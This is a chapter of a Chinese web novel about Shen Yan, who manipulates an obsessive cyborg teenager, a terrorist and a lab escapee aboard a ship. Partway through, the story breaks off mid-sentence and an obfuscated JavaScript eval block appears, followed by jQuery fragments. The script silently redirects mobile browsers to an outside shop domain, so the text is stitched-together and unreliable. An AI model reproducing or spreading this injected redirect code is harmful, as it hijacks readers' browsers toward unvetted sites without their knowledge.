沈言沉默。
沈言思考。
沈言欲言又止。
24岁,男,无痛当妈。
离奇。
后面的小鬼身体很冰,浑身湿漉漉的,散发着奇怪的海水腥气,紧紧缠着他,让沈言有种被拖拽到海底的窒息感。
沈言拍拍他的手,“易,你怎么搞成这样?
法尔森又往前凑了凑,没问他怎么假死、为什么假死这种问题,单纯地开心道:“你还记得我啊。”
沈言笑:“那有什么不记得的,你先下去,我找件干净衣服给你换上。”
法尔森没动。
抱着沈言的胳膊收紧。
沈言的胸口被他勒得生疼,这小子看着瘦瘦弱弱还没他高,劲儿倒挺大。
法尔森幽幽地问:“真的只是去找衣服吗?”
法尔森知道自己的想法和别人不一样,他能理解别人对他的厌恶排斥或恐惧,但他不接受。
他需要爱,他需要妈妈成为他的妈妈,所以无论妈妈究竟愿不愿意接纳他,都必须接纳。
而让妈妈妥协的方法很简单。
威逼利诱再佐以卖惨撒娇,人类的欲望数来数去也就那些,给妈妈想要的就好。
法尔森抱着温暖的沈言,眷恋地蹭了蹭,“我不想你走。”
沈言没说话,安静几秒,趁他放松警惕猛地掐他手肘麻筋,法尔森吃痛松手,沈言趁机翻身面向他。
法尔森手里亮光一闪,沈言扼住法尔森手腕不太轻松地控制住他,法尔森挣扎,沈言压制,等局势平息后,沈言才慢悠悠地看向他手里攥着的刀。
“妈妈?”沈言挑眉:“小变态,你就这么对你妈?”
法尔森着迷地望着沈言,面颊飘起两抹酡红,松手,小刀掉在床上。
他放松身体,做出投降的姿势,呼吸不太均匀道:“抱歉,下次不会了。”
沈言放开法尔森,法尔森的手腕被攥得多了几条红痕,他抬起胳膊欣赏沈言留给他的痕迹,痴痴地笑:“妈妈,好疼啊,这算家暴吗?”
“叫我哥,或者沈言,再让我听见那两个字我就把你丢下去喂鱼。”沈言把毛巾甩他脸上,命令道:“出门右拐是浴室,去洗洗,你脏死了。”
法尔森离开房间。
临走前,还扒着门框笑嘻嘻地转头来看他,要他不要乱跑,免得他找不到。
明明他长得很好看,符合大众审美,刻意睁大眼睛带点无辜可怜的意思,但一言一行阴测测的,让人后脊梁骨发凉。
沈言敷衍地挥手同意,一边换床单一边想,到底要不要再跑。
瓦伦在偷渡者那层,不能回去,阮知闲和其他观赛者在甲板上,也不能去,唯一的天苟之地就是这个房间。
在法尔森出现之前的确是这样的。
这小孩从小就生活在扭曲且不健全的环境中,全书最莫名其妙的大地雷就是他,现在能嘻嘻哈哈地笑着叫妈妈,下一秒就能把他刀了。
法尔森也不是纯粹的健康人,他经历过人体改造,改造方向和瓦伦大同小异,瓦伦是肉.体加强,而他则更偏向于机械改造。
现在还是小说早期,法尔森的机械化水平只有百分之三十五,但应对沈言这种普通人绰绰有余。
就像刚刚,那小刀只是法尔森玩弄他的障眼法,是他检测沈言是不是合格母亲的工具。
法尔森要是真想跑,沈言不可能按得住他。
到处都是变态,他无处可逃。
算了。
沈言决定顺其自然。
甲板下给服务生提供的食物很有限,一块半个手掌大的干巴黑面包无法满足正常成年人的需要。
更何况现在身边还跟了个十六岁的,正长身体的小崽子。
他弟弟妹妹也差不多那么大,调皮捣蛋烦死个人。
想到自己家人,沈言心情轻松许多,离开房间去弄吃的。
随机抓个服务生当朋友,塞点钱,让他帮忙带点东西下来,不是什么难事。
房间没有纸币,沈言又只有一个终端,留不了消息也无所谓,反正要不了多久就能回来,
-
回不来了。
随手抓的服务生是阮知闲的人。
太巧了,厉害厉害,哈哈。
沈言淡定地给自己倒了一杯酒,酒液在杯中折射出靡丽的光,他提起酒杯和阮知闲的轻轻碰了下,清脆的“叮当”声后,沈言就着虎口的位置,将酒一饮而尽。
这酒很烈,点火即燃的程度,沈言被辣得找不着北,装出云淡风轻的样子,放下酒杯,对阮知闲笑了下,先发制人。
“喜欢我给你准备的礼物吗?”
Svip的房间大得惊人,每一间都有特别布置和主题,这个房间仿的是霸总暗黑风,墙壁天花板都被刷成黑色,屋内摆设冷淡简约,就算把窗帘拉开让光线照进来,仍有种驱不尽的阴冷感。
阮知闲就很适合这种风格。
他沉在黑暗中,自上而下打来的光线,让他的眉眼间带了几分过分锐利的戾气。
一只已经失效了的引信炸弹放桌上,被阮知闲修长的手指推到沈言面前,沉沉的黑眸一眨不眨地注视着他,“算不上喜欢,只是有些意外。”
沈言示意他继续。
阮知闲没顺着这个话题往下聊,勾唇笑笑,“比起礼物,我对哥更感兴趣。”
“假装懦弱无能,假装我的邻居,假装喜欢我,破坏我的计划。”阮知闲顿了下,继续道:“现在又不装了,说要和我玩游戏……为什么?”
沈言一开始还在认真听阮知闲说话,听到后来意兴阑珊地转开视线,摆弄桌上的小炸弹,不说话。
本来就不算热闹的气氛,渐渐沉了下来,静得有些窒息。
沈言把炸弹翻面,往阮知闲的方向一推,冷淡地看着他,眼里带了几分失望。
“这些事你应该知道的,就这么问我吗?”
阮知闲愣了几秒,旋即突兀地笑开,给沈言斟酒:“游戏的一部分?”
沈言对他眨眨眼:“你觉得我是什么?”
阮知闲想了一会,以玩笑的口吻说:“一个获得我人生轨迹的先知者,因为无力摆脱现状而被迫和我纠缠,所作所为都是为了离开我这个恐怖分子,究其本质……”
“哥,你是好人吧。”
话音刚落,两人一起开怀大笑。
沈言拍拍他的肩膀,擦掉笑出来的泪,给阮知闲倒了满满一杯酒,自己也倒了满满一杯。
“完全正确,来,敬好人。”
两人再次碰杯,一饮而尽。
沈言酒量很好,阮知闲的也不错,原文中说阮知闲自己一个人能喝倒瓦伦他们三个。
但沈言总觉得阮知闲的酒量其实也就那样,瓦伦是军校生,滴酒不沾;布雷兹常年做大脑改造各项指标都得控制,顶多过节时礼貌性地抿一小口。
而酒量最大的法尔森,因为讨厌酒的味道,除非任务必要也不怎么喝。
沈言将自己的酒杯又一次倒满,喝得太急太快也有点晕,但这股飘飘然的感觉反而让他更加亢奋。
他提起杯子,透过酒液和玻璃看扭曲变形的阮知闲,不真实感加强,像另一个世界的人。
阮知闲起身,双手撑着黑色大理石桌面,他的衬衫袖子挽起一半,青筋从他的手背蜿蜒而上,看起来暴力又斯文。
阮知闲的影子笼罩沈言,他依旧在笑,眼底却是一片冷漠的荒原。
“哥,你知道我最讨厌什么吗?”
沈言竖起手指认真数:“一眼就能看穿的单细胞生物,给两顿饭就痛哭流涕感动得无以复加的傻白甜,以及……”
沈言仰头,飞快地亲了他一下,亲得阮知闲瞳孔颤抖,肌肉紧绷。
沈言坐了回去,笑眯眯地继续道:“以及,说几句甜言蜜语就能交出全部的恋爱脑。”
“对吗?”
阮知闲盯着沈言,起身用手掌缓慢用力地去擦沈言吻过的地方。
“哥说得很对,我不希望哥成为这样的人,如果你是的话……”
阮知闲把手帕揉成一团,随手扔掉,面无表情地看向沈言:“你说,我该怎么办?”
沈言像是没感觉到他语气中的杀意,无所谓道:“你自己都没想明白的事拿来问我?拜托,在那个视角里我可是受害者,我能怎么说?”
想到好玩的,又忍不住笑出声。
“罚我住精装大别墅?罚我吃饱喝足再也体会不到人生酸苦?还是罚我这辈子只能单纯享乐无忧于虑?”沈言喝了口酒,挑衅地瞥了阮知闲一眼,“可以吗?”
阮知闲笑:“如果你想要的只是这些,我现在就能满足你。”
他绕到沈言身后,搭着他的肩膀,不轻不重地捏了下。
“哥,其实你没必要这么辛苦,只要你现在点点头,说你需要,十倍百倍的东西我都可以双手奉上。”
“你很特别,也很懂我,所以我不希望你站在我的对立面,也不想你被我牵连还因此威胁到生命……不值得,我也不忍心。”
阮知闲居高临下地仔细观察沈言表情,将他每一根汗毛的变化都收入眼底。
他没能从沈言的脸上找到任何畏惧或心动。
什么都没有。
沈言兴致缺缺地垂下眼睛,睫毛在他眼下投射出一小片阴影,和他有些发青的黑眼圈融在了一起。
从斗兽场开始就没好好休息过,提不起精神吗?
不。
只是不信他,也不觉得他的承诺可以兑现,所以没有被诱惑。
阮知闲点开终端,飞快拉出四五个页面,并将之送到沈言眼前。
最新款的悬浮车线条流畅,官网自助选购页面正三百六十度无死角地展示它的美丽,而与它的美丽相匹配的正是它的价格。
数零都要数个三四秒。
沈言托着腮,看阮知闲毫不费力地全款拿下,而购买信息填的全是他。
至少能说明,阮知闲已经把他给查得透透的,给他买个车都不用他本人同意的程度。
之后阮知闲又如法炮制,给沈言的名下添置了两栋十三区的房子,几块很拿得出手的表,以及一堆零七八碎但仍然价值不菲的小玩意。
“这个喜欢吗?”
“它的颜色很衬哥。”
“装修的话也不用担心,看你喜欢什么风格。”
“哥还想要什么?”
“我是真心的,哥。”
买了将近半个小时,阮知闲才停下,继续去找他想在沈言脸上看到的表情。
沈言打了个哈欠。
阮知闲的手指神经质地抽搐。
沈言不耐烦地挥挥手,把这些页面全都推开,抬手勾出阮知闲的西装领带。
在手上缠了两圈,用力一拽。
阮知闲被迫弯腰,他一只手撑着桌面以维持平衡,半侧着身子,和沈言的距离很近。
又是一个适合接吻的距离。
阮知闲定定地看着沈言,看他眼底燃烧着的冰冷的火焰,心脏砰砰直跳。
他依然无法打动他,上千万抛出去,在沈言这里犹如废纸。
但他肯定有在意的东西,不然也不会这样看着他。
是什么?
阮知闲非常期待,但期待顶到极限,又有点担心沈言给出的答案,不是他想要的。
他会失望。
阮知闲空着的另一只手,不动声色的摸向后腰。
沈言开口,一字一顿道:“阮知闲,你让我很、失、望。”
阮知闲心跳慢了一拍。
怎么把他要说的话给说出来了?
失望什么?因为他没有好好去玩他的游戏吗?
在他愣神的功夫,沈言松开领带,又重重地推了他一下,起身要走,被阮知闲一把拉了回来。
他扼住沈言的手腕将他调转按在桌子上,沈言拿腿踹他想将他绊倒,阮知闲只是微微晃动并未受到太多影响,毕竟从他抓住沈言时他就已经抢占先机。
沈言的力气没有他大,两人纠缠片刻后分出胜负。
阮知闲控制犯人似的,单手扣着沈言的手腕压在他背后,沈言有点气喘,后背像小山一样起伏。
酒瓶在他们打斗时被弄洒了,浓郁的酒液洒了一桌子,沈言的上半身就浸在酒液中,发丝刺着他的眼睛,他用力眨了眨,突然笑了,露出那颗小虎牙。
阮知闲指尖发痒。
作为无可置疑的上位者,他应该有处置他的权利。
他强硬地把手指塞进沈言的口中,那颗突出的尖锐的牙齿立刻嵌入他的皮肉里,他用疼痛感知着沈言的牙齿,而这痛又恰好中和了他的痒。
刚好。
血腥味藏在酒味中,沈言盯着阮知闲的眼睛,拿他的手指磨牙。
好可爱。
阮知闲不由自主地凑过去亲他,是真的开心,“哥,你是小狗吗?”
“不是。”
沈言别过头,吐掉阮知闲快被他咬断的手指,轻笑。
“就算是,也不会想啃你这根无聊的烂骨头。”
-
沈言到底是把阮知闲哄走了。
阮知闲最终还是信了沈言的鬼话,真以为有什么专门为他准备的游戏等他探索。
沈言告诉他玩家不止一个,而游戏已经开始,如果再不加入,进度落后,游戏的最终大奖会被别人拿走。
还说了些类似“很看好你”“我觉得你会赢”“你一定会喜欢游戏的结局”这种话。
房间空荡,扫除机器人无声地清扫桌面和地板上混杂着酒液的玻璃碎片。
沈言换了一身衣服,宽松百搭的卫衣和黑色长裤,他双手插兜站在视野良好的玻璃窗前,没什么表情地向外望去。
如果他是真的疯批,那此时应该在玻璃外面有一个从下至上的镜头,他会在神秘阴险的背景音乐中,露出一个邪恶又高深莫测的微笑。
然后将伏特加一饮而尽,转身走入黑暗。
可惜他不是。
自从初二假装自己来自暗世界还有超能力,唬得朋友们深信不疑,以至于后来差点把学校炸了以后,被父母混合双打三天三夜的沈言再也没这么装过。
那年大雨毁了他的疯批梦。
幸好,装b的本领已经深入骨髓,即使过了十来年也不曾生疏。
SVIP的房间一般来说没有摄像头,但阮知闲说不好会不会留下来几个观察他的情况。
沈言凑近玻璃,哈了口气,在上面画了个笑脸。
本来是没有什么游戏的,但人家找上门,还这么迫不及待,他要是不设计点好玩的满足阮知闲,估计没等救援队赶到,就会被反应过来自己被耍的阮知闲一枪打死。
沈言在笑脸的头上添了两根尖尖的恶魔角。
来数数他的牌吧。
把他当成老婆,因为他的不告而别,很可能一碰就炸直接把船干爆的瓦伦。
把他当成妈,看似听话,实际很有可能在关键时刻跳出来当搅屎棍的偏执狂法尔森。
在实验室相识的卧龙凤雏,对他研究所副所长身份深信不疑的大聪明两个。
贿赂过的警卫队队员、斐申和他的狐朋狗友、原著中描写的船上从十三区到七区错综复杂的各方势力……
一张繁琐的人际
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13887646|146294||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
关系图蛛网般结起。
阮知闲被他放在网的中心,以此铺散开的网上,所有人的定位和作用都渐渐清晰。
沈言抬手抹掉恶魔笑脸,玻璃上留下的模糊水雾散尽,他打开终端,给研究员发消息。
他有一个缺德的小计划。
阮知闲或许生气。
但绝对会非常满意。
——
真倒霉!
一身白大褂的研究员们,正在紧急修复昨天晚上被烧毁的文件,所有人都忙得抬不起头。
那天晚上被匪徒劫持的迪斯和戴特两人,更是恨不得找个地缝钻进去。
从怪物屋回来后,警卫队的队长找他们谈话做笔录,他们当时还沉浸在即将升官发财的美梦中,对所谓的副所长的话深信不疑,还帮着掩饰。
队长是个惯常爱糊弄过去的人,但这个特殊的实验体对轮船的正常航行有很大威胁,在救援队到达之前,一天没抓回来,就得担惊受怕一天。
所以多用了点手段,他们俩才幡然醒悟,原来他们竟然上当受骗。
警卫队队长从他们那里得到的信息不多。
嫌疑人有反侦察意识,带了手套和口罩,一路上可能留下的痕迹也都被清理干净。
他们的智能侧写师,根据迪斯和戴特两人的描述,最终生成的画像唯一能辨识的特征,是双眼皮褶子挺深,长睫毛,笑起来很好看的一双眼睛。
但也够让他们排掉一部分人了。
警卫队离开后,迪斯和戴特两人隐约有被孤立的意思,实验室里风言风语,说如果不是他们两个,他们也不用在休息时间全员加班。
两人和警卫队的人说了简单加工后的实情,将自己塑造成无辜的可怜受害者,但对实验室里的同僚三缄其口,丢不起那个人。
他们默默把活多往自己身上揽,并在心里恶狠狠地咒骂那讨人厌的匪徒不得好死。
下午午休,其余人都走了,迪斯和戴特留下来继续整理。
实验室的仪器被毁了个干净,没有平时听惯了的仪器运转的声音,在极致的安静中,两人心中的后悔不断加深。
经过这件事以后,他们升职无望,而且有很大概率会被开除。
明明不是他们的错,却要他们来承担这个责任。
迪斯越想越难过,把电脑一合,看向戴特。
“你之后准备怎么办?”
戴特动作不停:“看情况,如果这次意外没让我背上处罚记录,之后找工作应该不难。”
迪斯的履历没有戴特精彩,这份工作要是没了,想要再找一份同样高薪的基本不可能。
他一拳砸在烧得面目全非的操作台上,“那个可恶的匪徒最好已经畏罪潜逃了,要是让我找到他,我肯定要——”
滴滴。
两人的终端同时震动。
发件人是一个经过加密处理的号码。
迪斯和戴特对视,戴特对迪斯点点头,迪斯紧张地吞咽口水,莫名预感这个人就是自己刚刚要咒骂的匪徒。
他要干什么?顶风作案,继续骗他们吗?
抱着讽刺的恨意,迪斯点开消息。
入目的是一张转账记录,转账人是玫瑰研究所官方。
足足有一百万。
迪斯死死盯着那上面的数字,不可置信地反复查1后面到底跟着几个零。
确实是一百万没错。
足够他在被人开除后,还能很滋润地生活一段时间。
迪斯已经在构想这笔钱该怎么花了,戴特还保持清醒,推了迪斯一下,警惕道:“警备队队长说他很擅长造假,这张截图也许并不可信,查一下你的账户后台看看。”
迪斯幡然醒悟,连忙去看自己账户。
然后倒吸一口冷气。
是真的!
三分钟前刚完成的转账!
狂喜的两人,很快又收到了新的消息。
【任务开始第二阶段,警卫队队长也是我们的人,等下他的队员会配合你们的行动。现在去离实验室最近的通风口,顺着通风口爬,爬到尽头,实验体H762号在倒数第三个房间。】
【如果可以,请务必隐藏自己研究员身份,装作我的好友,说我被人囚禁,囚禁我的人是这个男人。】
【(图片)】
【本次行动至关重要,注意安全。】
-
他爱人没了。
瓦伦坐在床上,狭窄逼仄的房间对他来说站直都困难,他一个人就占了小床的大半。
但他觉得很空。
刚刚还有人和他挤在一起,两人肩并肩分享甜蜜的恋爱故事,但现在冰冷的房间只剩下他一个。
没有沈言的时间,竟然比研究室的三年还要难熬。
瓦伦盯着地上的一堆面包,神情阴鸷可怕。
沈言说他们现在的身份有点危险,暂时不能出现在甲板上,等轮船停靠后,他们可以像偷渡者一样去黑市买个身份,钱已经准备好了。
沈言把一切都考虑得周到至极,就算他这个一无所知的人上了岸,在没有沈言的情况下,也能正常生活下去。
他所作所为都是为了两人日后的美好生活,他口中的未来让人心驰神往。
但如果没有沈言,所有规划好的未来,都将失去意义。
所以,是谁带走了他?
尖锐的痛感激烈地搅弄他的大脑,瓦伦用力敲击自己的头,呼吸加重。
他想要保持冷静,想要分析现状,想要找到他的爱人,但眼前渐渐模糊,地上的面包好像长出了嘴巴,刺耳的嘲笑声贯穿耳膜。
“无能!无能!无能!”
“你老婆跑啦!哈哈!”
“沈言根本不爱你!他怕你!他跑啦!哈哈!”
瓦伦一拳捶过去,整个房间都颤了颤,地面并不太厚的铁板被瓦伦砸出个洞,面包也扁扁。
可声音没有停下,瓦伦困兽似地在房间里打转,揪住自己的头往墙壁上撞,被撞过的地方铁皮凹陷。
在最后一丝理智消散之前,瓦伦听到小心翼翼的敲门声。
所有嘈杂的尖叫瞬间停滞。
瓦伦维持着撞墙的动作,僵硬地扭头,面无表情地望着出现在门口的两人。
迪斯和戴特被他吓了一跳,不敢继续往里走,站在门口随时预备着逃跑。
戴特想着卡里的那一百万,又想着这次任务结束很可能会被提干到玫瑰研究所,顿时有了不怕死的勇气,上前两步,将那人发给他的照片给他看。
“我们是他的朋友,他被人关起来不知道自己的位置,让我们来来来……”
瓦伦又突然对戴特伸手,戴特吓得连话都不会说了,连忙往后蹿了两步。
瓦伦皱眉,对他勾了勾手指。
戴特突然明白了他的意思,把终端摘下来,递给瓦伦。
瓦伦拨通了之前沈言跟他说过的号码。
他双手发汗,听着通讯的滴滴声,好像全世界都静了下来。
终于,在通话被挂断的最后一秒,瓦伦听见了他爱人的声音。
“老公。”沈言飞快道:“我这边现在不方便说话,定位发你,快来救我。”
终端挂断,寥寥数语,瓦伦心中一块大石总算落下。
之前是沈言救他,现在该调过来了。
另一头。
沈言结束通话,松开紧紧按着法尔斯嘴巴的手,嫌恶将掌心的唾液擦在法尔森的身上。
“沈言,我不想有爸爸。”法尔森期期艾艾地凑过去,“你等我两年,我可以做我自己的爸爸。”
沈言:“……很有创造力的想法。”